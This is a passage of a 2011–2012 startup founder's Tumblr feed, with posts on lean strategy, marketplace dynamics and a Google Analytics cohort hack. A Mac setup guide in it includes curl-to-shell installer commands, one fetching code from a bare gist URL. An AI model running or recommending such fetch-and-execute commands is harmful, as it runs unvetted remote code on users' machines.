&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/17771152547</link><guid>http://danhilltech.tumblr.com/post/17771152547</guid><pubDate>Fri, 17 Feb 2012 17:08:53 +0000</pubDate></item><item><title>Startup Lessons. Learning the hard way.: My Addressbook? Keep it. Telephone numbers are a disgrace to our generation.</title><description>&lt;a href="http://klinger.io/post/17313437389/my-addressbook-keep-it-telephone-numbers-are-a"&gt;Startup Lessons. Learning the hard way.: My Addressbook? Keep it. Telephone numbers are a disgrace to our generation.&lt;/a&gt;: &lt;p&gt;&lt;a class="tumblr_blog" href="http://klinger.io/post/17313437389/my-addressbook-keep-it-telephone-numbers-are-a"&gt;klinger-io&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There is all this talk going on about Path uploading address books and privacy here privacy there. I understand the fact that Startups push too far from time to time and Silicon Valley believes to have the right to shoot first ask later. But to be honest… there might be something wrong in my head……&lt;/p&gt;
&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/17771143713</link><guid>http://danhilltech.tumblr.com/post/17771143713</guid><pubDate>Fri, 17 Feb 2012 17:08:38 +0000</pubDate></item><item><title>Lean Startups: a Game of Chess</title><description>&lt;p&gt;From a few conversations recently with fellow startups and with people thinking of becoming founders and starting their own company, I occasionally get the feeling people see the whole lean (&lt;a href="http://theleanstartup.com/" target="_blank"&gt;Lean&lt;/a&gt;) movement in different ways. They get that the ways of yore - months planning, months building, big budgets, no real data - lead to products no-one wants, huge amounts of waste and all-round frustration.&lt;/p&gt;
&lt;p&gt;But the interesting part is the different things people see as the antidote. For me, and most of my contemporaries, &lt;a href="http://www.startuplessonslearned.com/" target="_blank"&gt;Eric Ries&lt;/a&gt;&amp;#8217;s articulation of the Lean Startup is currently the most resonant. &lt;strong&gt;It makes sense, it works: we&amp;#8217;re both more productive and more &lt;em&gt;usefully&lt;/em&gt; productive.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That said, the Lean Startup is only an intellectual framework, much like a theory in physics or a historical narrative. In time people will come to disprove it, adapt it, disgard it, improve it, and so on. We look back on generations that thought the world was flat and laugh, but it worked for them. It&amp;#8217;s up to us to use the tools in the most effective way.&lt;/p&gt;
&lt;p&gt;The misconception I want to talk about here is this:&lt;strong&gt; I meet people who seem to think that being lean means only thinking as far ahead as the next release/iteration/pivot&lt;/strong&gt;. After all, once you&amp;#8217;ve got the next release and hypothesis test out today/tomorrow/next week, you&amp;#8217;ll know what to do next. No point second guessing, we might be proved wrong and have to change everything anyway. (Oh, and there&amp;#8217;s the vison way over there)&lt;/p&gt;
&lt;p&gt;This feels a little intellectually lazy. As long as we keep shipping, keep testing, we&amp;#8217;ll work it out.&lt;/p&gt;
&lt;p&gt;Sure. But at some point you have to actually work it out.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I prefer to think of it like a game of chess:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;The billion dollar exit/fame and glory/world changed is checkmate. Everyone knows how that works.&lt;/li&gt;
&lt;li&gt;The opponent is real life. The markets, your customers, your competitors, opportunities, tech, hiring, firing, funding, boards, screw ups, etc.&lt;/li&gt;
&lt;li&gt;Each takes a turn to move. You either win, or you fail.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;The basic similarities are obvious: you&amp;#8217;ve got to understand how the different pieces move before you can play; almost no-one wins their first game of chess; there are set openings, tactics, moves that can increase your chances of winning; sometimes you&amp;#8217;ve got to do something unpredictable.&lt;/p&gt;
&lt;p&gt;In the old school startup we&amp;#8217;d try and plan the whole game out all the way to checkmate along one execution, then play it regardless of what the opposition (life) did. This rarely worked (though there are exceptions of course), as life could quite easily play round that. Very quickly every move you make is nonsense.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The answer isn&amp;#8217;t to play one move at a time. &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A grandmaster wins because she can see the next 20 moves that could happen, the most likely responses from the opponent, the particular line of attack.&lt;/p&gt;
&lt;p&gt;A chess computer wins because it can predict every possible combination of moves all the way to checkmate, the probability of success or failure of every one, and after every move it can recalculate the whole thing.&lt;/p&gt;
&lt;p&gt;It&amp;#8217;s impossible to be the computer, but it&amp;#8217;s possible to be the grandmaster. You&amp;#8217;ve always got to make a move, and for me &lt;strong&gt;being lean (Lean) is about always being able to make a move, and respond (with understanding) to what your opponent (life) plays next&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;But you&amp;#8217;re still thinking about the 7 moves ahead, the 20 moves ahead, the direction towards checkmate. When the opponent next plays, you&amp;#8217;re not surprised and thinking again from zero - it&amp;#8217;s just one of the many plays you&amp;#8217;ve gamed out. Of course, in any good game of chess there will be those moves that force you to throw &lt;em&gt;everything&lt;/em&gt; out the window, but they shouldn&amp;#8217;t be every move your opponent plays.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Getting traction is a successful opening&lt;/strong&gt;, getting some control over the board. Particularly in the early game you&amp;#8217;ve got to respond, often drastically, to a change in play by your opponent. Customers don&amp;#8217;t want it, they like some things but not others, they don&amp;#8217;t understand it etc.  But you know you&amp;#8217;re playing a thought out opening, you can see the bigger picture - the aim is to get to control of the board as quickly as possible, testing the opponent, pushing them, thinking further ahead than they are. You&amp;#8217;ve got to be willing to throw away a few pawns if needed, to move a knight or a rook boldly. But no move is random, it&amp;#8217;s all part of the longer opening - you&amp;#8217;re always thinking 10 moves ahead, even if moves 3-10 of those keep changing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Getting funding is sacrificing a bishop&lt;/strong&gt;. If you&amp;#8217;re already losing it&amp;#8217;s not a sacrifice, it&amp;#8217;s being beaten. But if you have control over the board, and you&amp;#8217;re thinking twenty moves ahead, you can game it out. Maybe your opponent (life) will take it with this piece, maybe that one, but once they do you&amp;#8217;re in a stronger position as you &lt;a href="http://en.wikipedia.org/wiki/Back-rank_checkmate" target="_blank"&gt;swoop in with your queen onto their back rank&lt;/a&gt;. Once you sacrifice your bishop though, you can&amp;#8217;t ask for it back - that&amp;#8217;s why you&amp;#8217;ve got to be thinking many moves ahead.&lt;/p&gt;
&lt;p&gt;By the time you&amp;#8217;re in the end game - are we being acquired, are we IPOing, are we merging, or any of the other wins - you know your opponent, how they play, how they think. You&amp;#8217;ve got to be thinking 50 moves ahead. Once you pick a strategy they&amp;#8217;ll know what you&amp;#8217;re doing and be able to guess how you&amp;#8217;re going to do it; it&amp;#8217;s harder to pull back from.&lt;/p&gt;
&lt;p&gt;So, it&amp;#8217;s not a case of planning and executing 20 moves ahead. In the early game you&amp;#8217;ll constantly be rethinking the potential later moves, potential responses by your opponent, and in the middle game maybe you&amp;#8217;ll be playing 5 moves straight and thinking 50 ahead. &lt;/p&gt;
&lt;p&gt;But as a &lt;a href="https://twitter.com/#!/gordonguthrie" target="_blank"&gt;friend&lt;/a&gt; recently said, &lt;strong&gt;thinking costs nothing in comparison to doing.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So in summary, I don&amp;#8217;t believe being lean is the same as playing everything one move at a time and waiting to see what happens. As Ries says, if you want something to happen you&amp;#8217;ll be proved right, it always will. Instead, it&amp;#8217;s like chess, you play efficiently by making small (or big) moves that react to your opponent, understanding them, finding their weaknesses, and you win by playing 20 moves ahead. &lt;/p&gt;</description><link>http://danhilltech.tumblr.com/post/16831038432</link><guid>http://danhilltech.tumblr.com/post/16831038432</guid><pubDate>Tue, 31 Jan 2012 20:19:00 +0000</pubDate><category>startups</category><category>lean</category><category>chess</category><category>ries</category></item><item><title>At Crashpadder, we’ve been working on a marketplace for...</title><description>&lt;object id="__sse11153231" width="400" height="334"&gt; &lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=marketplaces-120119045448-phpapp02&amp;stripped_title=marketplace-startups-lessons-leaned&amp;userName=danhilltch" /&gt;&lt;param name="allowFullScreen" value="true" /&gt;&lt;param name="allowScriptAccess" value="always" /&gt;&lt;param name="wmode" value="transparent" /&gt;&lt;embed name="__sse11153231" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=marketplaces-120119045448-phpapp02&amp;stripped_title=marketplace-startups-lessons-leaned&amp;userName=danhilltch" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="transparent" width="400" height="334"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;At &lt;a href="http://www.crashpadder.com"&gt;Crashpadder&lt;/a&gt;, we’ve been working on a marketplace for accommodation for a few years now, and I recently shared some of the little nuances at &lt;a href="https://twitter.com/#!/search/%23foundersexchange"&gt;#foundersexchange&lt;/a&gt; that I’d come across during that time. Some seem obvious with hindsight but took a while for me to really understand, and some took us by surprise. Hopefully they’ll be useful thoughts for anyone thinking of, or already working in, a marketplace business.&lt;/p&gt;
&lt;h2&gt;&lt;br/&gt;Some basics.&lt;/h2&gt;
&lt;p&gt;Whilst others may have articulated this elsewhere, I’ve found there are essentially two distinct types of marketplace: ‘local’ and ‘non-local’. In a local marketplace, the supply and demand are necessarily both consumed within the same geography (city, town, neighbourhood); examples include &lt;a href="http://www.taskrabbit.com/"&gt;TaskRabbit&lt;/a&gt; - the people doing the tasks live near those needing tasks done, &lt;a href="http://ecomodo.com/"&gt;Ecomodo&lt;/a&gt; - people borrow tools etc. off people near them; &lt;a href="http://www.kinderfee.de/"&gt;Kinderfee&lt;/a&gt; - people book a sitter who lives near them. Non-local marketplaces are the opposite; examples include &lt;a href="http://www.crashpadder.com"&gt;Crashpadder&lt;/a&gt;/&lt;a href="http://www.airbnb.com"&gt;Airbnb&lt;/a&gt; - people use the service because they need accommodation elsewhere; &lt;a href="http://www.gidsy.com"&gt;Gidsy&lt;/a&gt; - people book because they don’t know the area. Some marketplaces operate irrespective of course: eBay - people either post or collect; &lt;a href="http://www.minutebox.com"&gt;MinuteBox&lt;/a&gt; - the value transfer takes place entirely online.&lt;/p&gt;
&lt;p&gt;The distinction is important. The ways you seed, grow and expand each is different. At Crashpadder we must seed a new geography in a highly localised way (London, say), and then get demand from everywhere/anywhere BUT London. Conversely, TaskRabbit would want to target both sides of the marketplace in a highly dense geography. &lt;/p&gt;
&lt;p&gt;Next, you need availability &amp; liquidity in your marketplace. This is the hard bit, especially early on in a market. We need available hosts that can be booked, and guests that are making bookings. The experience of a user, be they supply or demand, is only partly a function of your service; most of the experience is determined by the right volume of their opposite.&lt;/p&gt;
&lt;p&gt;The key therefore to understand in your business is that your job is only to facilitate value transfer, not create the value. You charge money for this service. The more value you transfer, the more money you make.&lt;/p&gt;
&lt;p&gt;So, understand the product you sell. eBay doesn’t sell second-hand goods, TaskRabbit doesn’t sell tasks and we don’t sell rooms. &lt;strong&gt;We sell trust. Our hosts sell rooms.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;br/&gt;Chickens and eggs.&lt;/h2&gt;
&lt;p&gt;Do I need a chicken or an egg? Should we get supply first, or demand. The answer is both. Success is being able to ramp up both sides proportionally. We’ve found it best to start in one geography and achieve scalable liquidity then rinse and repeat. Two techniques we’ve found powerful:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A time critical event&lt;/strong&gt; - find a reason why both sides of your marketplace are going to have to come together at the same point, giving you that initial liquidity. For example, the Olympics or Edinburgh Festival are great for us, as both sides concentrate their expectations and usage around the same window.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An existing strong network, a niche&lt;/strong&gt; - the trick here is to find a group of users on both sides who are willing to put the extra effort and time into waiting for full liquidity. For eBay, this might be stamp collectors - they’re willing to come back and try again until they get that one perfect stamp. Someone buying a HiFi would simply go somewhere else that does have liquidity (a high-street store).&lt;/p&gt;
&lt;h2&gt;&lt;br/&gt;Types of value&lt;/h2&gt;
&lt;p&gt;Another important distinction between types of marketplace is between the types of value being sold: &lt;strong&gt;lasting vs one-time inventory&lt;/strong&gt;. Lasting inventory you can reuse multiple times per listing, for example our rooms can be booked multiple times ad infinitum, baring unavailable periods. One-time inventory, for example goods on eBay, and only be consumed once, then you need to go back to square one and get more inventory. I think a large part of the success of the P2P accommodation model is due to the high value-to-supplier ratio compared with one-time inventory models.&lt;/p&gt;
&lt;h2&gt;&lt;br/&gt;Marketplace Half-life&lt;/h2&gt;
&lt;p&gt;This is something we began modelling a while ago, and has proved very powerful in predicting future behaviour. &lt;/p&gt;
&lt;blockquote&gt;The half-life of your (lasting) inventory is the time it takes for it to half in value. &lt;/blockquote&gt;
&lt;p&gt;In our case, this is the time it takes for the likelihood of a new booking request to be accepted. If a host gets a booking every week (say), then they’re engaged, their availability is up-to-date, and we know we have a reliable method of contacting them. After a period of time, that same probability drops as they’ve not been engaged so not updated their availability, may have changed email address, may have gone elsewhere for bookings, and so on.&lt;/p&gt;
&lt;p&gt;Understanding your half-life allows you to balance the distribution of new bookings/guests effectively between first time users and repeat users. Each host has their own sweet-spot for bookings (every week, two weekends a month, every two months etc.), but when you hit it they’re yours.&lt;/p&gt;
&lt;h2&gt;&lt;br/&gt;Competition and Virality&lt;/h2&gt;
&lt;p&gt;There’s an inherent competition on either side of a marketplace. Either hosts are competing to get the (best) guests, or guests are competing to book the (best) hosts. If you can manage the level of competition on either side, you can cause both side to up their game. If our hosts see they’re moving down search results (but are still roughly within 1/2 half-life cycles) they’ll look at the new features and options to get them back up: maybe more photos, better descriptions or tagging, updating their calendar etc. Guests to likewise - they’ll provide more useful information about themselves, respond to messages quickly etc.&lt;/p&gt;
&lt;p&gt;But. The side that’s competing generally won’t go viral or want to share your product or platform. A host that’s feeling a bit of competition to get bookings won’t want to tell their friends (who live in the same area, right?) about your service because that will only increase the competition they’re already facing. If they’re making more money that they know what to do with, they will. (Or if they’re essentially happily saturated). &lt;/p&gt;
&lt;p&gt;You also don’t want competition on price. If you push competition on the supply side to far, you might end up with people cutting prices. At that point they’re probably done with your service anyway and your marketplace is essentially broken (there’s NO demand), but you also earn less money. If the supply side starts lowering prices, look hard at what’s going on.&lt;/p&gt;
&lt;h2&gt;&lt;br/&gt;Marketplaces are cool&lt;/h2&gt;
&lt;p&gt;We’ve been running a marketplace for 3 years now. We were one of the first into the P2P accommodation space, and it’s a brilliant model. The high network effect (Metcalfe’s law) makes switching expensive and thus your supply defensible. The more reviews a host has, the more reviews they get, and the bigger the drop from starting again elsewhere. And what’s really nice is building a business on existing, underused, value. We’re not building hotels, but selling shovels. We allow others to get more value from the world.&lt;/p&gt;
&lt;p&gt;Any questions or comments do get involved below, or tweet me &lt;a href="http://twitter.com/serenestudios"&gt;@serenestudios&lt;/a&gt;.&lt;/p&gt;</description><link>http://danhilltech.tumblr.com/post/16293051293</link><guid>http://danhilltech.tumblr.com/post/16293051293</guid><pubDate>Sun, 22 Jan 2012 16:38:56 +0000</pubDate><category>startups</category><category>marketplace</category><category>crashpadder</category><category>airbnb</category><category>founders</category></item><item><title>Take 5 minutes out of starting, pivoting, emailing, selling,...</title><description>&lt;iframe width="400" height="300" src="http://www.youtube.com/embed/C9WZJjYROSs?wmode=transparent&amp;autohide=1&amp;egm=0&amp;hd=1&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;showinfo=0&amp;showsearch=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;Take 5 minutes out of starting, pivoting, emailing, selling, analysing and see what also matters. This is stunning perfection.&lt;/p&gt;</description><link>http://danhilltech.tumblr.com/post/16057118730</link><guid>http://danhilltech.tumblr.com/post/16057118730</guid><pubDate>Wed, 18 Jan 2012 10:35:13 +0000</pubDate><category>handel</category><category>perfection</category><category>music</category><category>aria</category></item><item><title>Startups: Hacking a Cohort Analysis with Google Analytics</title><description>&lt;p&gt;At a recent &lt;a href="http://www.seedcamp.com"&gt;Seedcamp&lt;/a&gt; &lt;a href="https://twitter.com/serenestudios/status/131856733994885122"&gt;day&lt;/a&gt; I was talking with a few teams about how to do a cohort analysis quickly and easily. We all know the value of actionable metrics above vanity metrics (thanks in part to &lt;a href="http://www.startuplessonslearned.com/"&gt;Eric Ries&amp;#8217;s new book&lt;/a&gt;), but getting them out is often a surprisingly difficult task, especially for a small team. At &lt;a href="http://www.crashpadder.com"&gt;Crashpadder&lt;/a&gt; we do two kinds of cohort analysis - one is a custom built tool that runs off our database, and the other is a google analytics hack that I&amp;#8217;ll show below.&lt;/p&gt;
&lt;p&gt;The advantage of the database report is it&amp;#8217;s accurate, it uses our more complex business logic and KPIs, and as we built it, it does exactly what we need. The downside is it&amp;#8217;s not realtime/slowish (obvious N+1 issues with grouping data over and over), and needs to be run on our server (i.e. by me) - our new datalytics team member can&amp;#8217;t just get stuck in. It&amp;#8217;s not the kind of thing you do in a web request/live page, but we can run it once a day/week/month in a few minutes.&lt;/p&gt;
&lt;p&gt;Google Analytics is great as everyone can access it from anywhere, we already use it for loads of tracking, and it has a relatively simple web interface. Downsides include accuracy and customisation. And did I mention accuracy?&lt;/p&gt;
&lt;p&gt;So we use the database report for detailed analysis, and the Google Analytics hack to quickly spot trends, compare with other data, have data available on request, and so on. &lt;/p&gt;
&lt;p&gt;So if you want to get started with some cohort analysis at your cool new startup, but don&amp;#8217;t want to slow down your lighting fast build-test-learn loop and MVP building in the early days, try this.&lt;/p&gt;
&lt;h2&gt;The hack&lt;/h2&gt;
&lt;p&gt;The essence of this is to push custom variables to GA, along with your normal page data, that describes the current user, and then create advanced segments in GA to limit what you&amp;#8217;re seeing to these users. We push 5 bits of data to GA at &lt;a href="http://www.crashpadder.com"&gt;crashapdder&lt;/a&gt;; these will obviously be different for every startup:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Is the visitor currently logged in&lt;/li&gt;
&lt;li&gt;Are they a member of Crashpadder&lt;/li&gt;
&lt;li&gt;Are they a host or a guest&lt;/li&gt;
&lt;li&gt;The year they joined (for this cohort analysis)&lt;/li&gt;
&lt;li&gt;The month they joined (for this cohort analysis)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;So here&amp;#8217;s your normal GA code:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;
&amp;lt;script type="text/javascript" defer="defer"&amp;gt;

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXXX-1']);
  
  _gaq.push(['_setDomainName', 'www.mydomain.com']);
  _gaq.push(['_trackPageview']);
  _gaq.push(['_trackPageLoadTime']);
  
    
  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We add to this our custom variables as below. You should be able to pull this out of your current user variable/model/object (we&amp;#8217;re using Ruby/Rails); simplified a bit, our code looks like this:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;
&amp;lt;script type="text/javascript" defer="defer"&amp;gt;

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXXX-1']);
  
  _gaq.push(['_setDomainName', 'www.mydomain.com']);
  _gaq.push(['_trackPageview']);
  _gaq.push(['_trackPageLoadTime']);
  
  _gaq.push(['_setCustomVar', 1, 'Logged in', &amp;lt;%= current_user.blank? ? "'no'" : "'yes'" %&amp;gt;, 2]);
  _gaq.push(['_setCustomVar', 2, 'Member', &amp;lt;%= current_user.blank? ? "'no'" : "'yes'" %&amp;gt;, 1]);
  _gaq.push(['_setCustomVar', 3, 'Host/guest', &amp;lt;%= (current_user.blank? || current_user.is_a_host?) ? "'host'" : "'guest'" %&amp;gt;, 1]);
  _gaq.push(['_setCustomVar', 4, 'Join month', &amp;lt;%= current_user.blank? ? "'0'" : "'#{current_user.created_at.month}'" %&amp;gt;, 1]);
  _gaq.push(['_setCustomVar', 5, 'Join year', &amp;lt;%= current_user.blank? ? "'0'" : "'#{current_user.created_at.year}'" %&amp;gt;, 1]);
  
  
  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This then renders in your browser something like this:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;
&amp;lt;script type="text/javascript" defer="defer"&amp;gt;

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXXX-1']);
  
  _gaq.push(['_setDomainName', 'www.mydomain.com']);
  _gaq.push(['_trackPageview']);
  _gaq.push(['_trackPageLoadTime']);
  
  _gaq.push(['_setCustomVar', 1, 'Logged in', 'yes', 2]);
  _gaq.push(['_setCustomVar', 2, 'Member', 'yes', 1]);
  _gaq.push(['_setCustomVar', 3, 'Host/guest', 'guest', 1]);
  _gaq.push(['_setCustomVar', 4, 'Join month', '8', 1]);
  _gaq.push(['_setCustomVar', 5, 'Join year', '2009', 1]);
  
  
  
  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(A keen observer will notice that the first two seem to do the same thing - whether they&amp;#8217;re a member or logged in. The number on the end of each line specifies the lifetime of the cookie GA uses to track the user. We set whether they&amp;#8217;re logged in to that session only, and whether they&amp;#8217;re a member to lifetime. So after the first login, we know if you&amp;#8217;re a member again, even if you don&amp;#8217;t login the second time.)&lt;/p&gt;
&lt;h2&gt;Google Analytics&lt;/h2&gt;
&lt;p&gt;Now head over to your GA account, and click &amp;#8216;Advanced Segments&amp;#8217;. Under &amp;#8216;custom segments&amp;#8217;, click &amp;#8216;New Custom Segment&amp;#8217;.&lt;/p&gt;
&lt;p&gt;Give this segment a title, say &amp;#8216;November 2011 signups&amp;#8217;&lt;/p&gt;
&lt;p&gt;Drop down the variable type (default is usually &amp;#8216;Ad Content&amp;#8217;), and select the corresponding &amp;#8216;Custom Variable (Value XX)&amp;#8217; for the join year. So in this case, Value 04 is our join month, and Value 05 is our join year.&lt;/p&gt;
&lt;p&gt;Note: you need to choose the value rather than the key - in the above example, the key is &amp;#8216;join month&amp;#8217; or &amp;#8216;join year&amp;#8217;, and the value is 2008/2009, 1-12 etc.&lt;/p&gt;
&lt;p&gt;In the &amp;#8216;containing&amp;#8217; box, enter the year you&amp;#8217;re grouping by (here 2011). Click the &amp;#8216;Add AND statement&amp;#8217; link, and repeat with the month, this time choosing the Value 04 and the month number, here 11. This is creating a segment that isolates everyone who joined in year=2011 and month=11.&lt;/p&gt;
&lt;p&gt;Save the segment, and you&amp;#8217;re now looking at your data &lt;strong&gt;only for people who joined in November 2011&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We create a new one every month for the incoming users, and can quickly filter all data by a particular cohort, or compare two cohorts with one another.&lt;/p&gt;
&lt;p&gt;If you jump over to your goal tracking, you can start to see which cohort is converting better, what their profile looks like in the months after they joined, estimate their lifetime value, value half-life and so on.&lt;/p&gt;
&lt;p&gt;Feel free to leave comments below!&lt;/p&gt;</description><link>http://danhilltech.tumblr.com/post/12509218078</link><guid>http://danhilltech.tumblr.com/post/12509218078</guid><pubDate>Tue, 08 Nov 2011 11:33:00 +0000</pubDate><category>startups</category><category>google analytics</category><category>cohort analysis</category><category>hack</category><category>ruby</category><category>custom variables</category></item><item><title>alexanderljung:

Agree! (Taken with Instagram at Readmill HQ)
</title><description>&lt;img src="http://25.media.tumblr.com/tumblr_lu7n3tQ3hg1qc4suoo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;&lt;a href="http://alexanderljung.tumblr.com/post/12390448215/agree-taken-with-instagram-at-readmill-hq"&gt;alexanderljung&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Agree! (Taken with &lt;a href="http://instagr.am"&gt;Instagram&lt;/a&gt; at Readmill HQ)&lt;/p&gt;
&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/12423304294</link><guid>http://danhilltech.tumblr.com/post/12423304294</guid><pubDate>Sun, 06 Nov 2011 16:54:23 +0000</pubDate></item><item><title>kcmr:

(via xkcd: Sandwich)
</title><description>&lt;img src="http://24.media.tumblr.com/tumblr_lsslyrq6H81qz89aso1_400.png"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;&lt;a href="http://kcmr.tumblr.com/post/11221099185/via-xkcd-sandwich"&gt;kcmr&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(via &lt;a href="http://xkcd.com/149/"&gt;xkcd: Sandwich&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/12369288350</link><guid>http://danhilltech.tumblr.com/post/12369288350</guid><pubDate>Sat, 05 Nov 2011 14:25:33 +0000</pubDate></item><item><title>Installing REE, Rails, XCode on Lion 10.7</title><description>&lt;p&gt;A quick guide to installing Ruby Enterprise Edition, Rails, etc. on Mac OS X Lion. The main problem is that the latest XCode (4.2) ships with a messed up version of gcc. So:&lt;/p&gt;
&lt;p&gt;1. Install XCode 4.2 from the App Store.&lt;/p&gt;
&lt;p&gt;2. That actually places an App in Applications called &amp;#8216;Install XCode&amp;#8217;. Run that.&lt;/p&gt;
&lt;p&gt;3. Install OSX GCC from here: &lt;a href="https://github.com/kennethreitz/osx-gcc-installer"&gt;&lt;a href="https://github.com/kennethreitz/osx-gcc-installer"&gt;https://github.com/kennethreitz/osx-gcc-installer&lt;/a&gt;&lt;/a&gt; This is a much better version of gcc, plus associated libs.&lt;/p&gt;
&lt;p&gt;4. Install RVM:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;bash &amp;lt; &amp;lt;(curl -s &lt;a href="https://rvm.beginrescueend.com/install/rvm"&gt;https://rvm.beginrescueend.com/install/rvm&lt;/a&gt;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;5. Install REE:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;sudo CC=/usr/bin/gcc-4.2 rvm install ree&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;6. Use REE:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;rvmsudo rvm use ree --default&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;7. (Optional) Install brew:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;ruby -e "$(curl -fsSL &lt;a href="https://raw.github.com/gist/323731"&gt;https://raw.github.com/gist/323731&lt;/a&gt;)"&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8. Rails, etc.&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;rvmsudo gem install rails&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&amp;#8217;s it! Leave a comment if you have any better advice, or questions.&lt;/p&gt;</description><link>http://danhilltech.tumblr.com/post/12070624525</link><guid>http://danhilltech.tumblr.com/post/12070624525</guid><pubDate>Sat, 29 Oct 2011 14:15:00 +0100</pubDate><category>rails,</category><category>ree,</category><category>ruby</category><category>xcode</category><category>lion</category><category>mac os x</category><category>gcc</category></item><item><title>A very good analogy of what a startup often feels like…</title><description>&lt;embed src="http://www.vidivodo.com/VideoPlayerShare.swf?u=BFZGRFxHWhI=&amp;color=0x000000" type="application/x-shockwave-flash" wmode="window" bgcolor="#090909" width="400" height="323" allowscriptaccess="always" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;A very good analogy of what a startup often feels like…&lt;/p&gt;</description><link>http://danhilltech.tumblr.com/post/11947726424</link><guid>http://danhilltech.tumblr.com/post/11947726424</guid><pubDate>Wed, 26 Oct 2011 13:48:59 +0100</pubDate><category>startup</category><category>family guy</category><category>funny</category></item><item><title>alexanderljung:

2 thoughts on our partnership with Facebook...</title><description>&lt;iframe src="https://w.soundcloud.com/player/?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F23936661&amp;liking=false&amp;sharing=false&amp;origin=tumblr" frameborder="0" allowtransparency="true" class="soundcloud_audio_player" width="500" height="116"&gt;&lt;/iframe&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;&lt;a href="http://alexanderljung.tumblr.com/post/10533619904"&gt;alexanderljung&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;2 thoughts on our partnership with Facebook announced today&lt;/p&gt;
&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/10636501760</link><guid>http://danhilltech.tumblr.com/post/10636501760</guid><pubDate>Sun, 25 Sep 2011 10:41:49 +0100</pubDate></item><item><title>Nate Berkopec: NASA Problems and LEGO problems</title><description>&lt;a href="http://nateberkopec.com/post/10043183328"&gt;Nate Berkopec: NASA Problems and LEGO problems&lt;/a&gt;: &lt;p&gt;&lt;a href="http://nateberkopec.com/post/10043183328"&gt;nateberkopec&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;NASA problems require many years and massive teams to solve. It took us over 10 years and 109 manned missions to gain enough knowledge and experience to send a man to the moon. That’s a lot of work.&lt;/p&gt;
&lt;p&gt;Making a rocket of out LEGOs, comparatively, is trivial. Even if it’s a really big one - like 5…&lt;/p&gt;
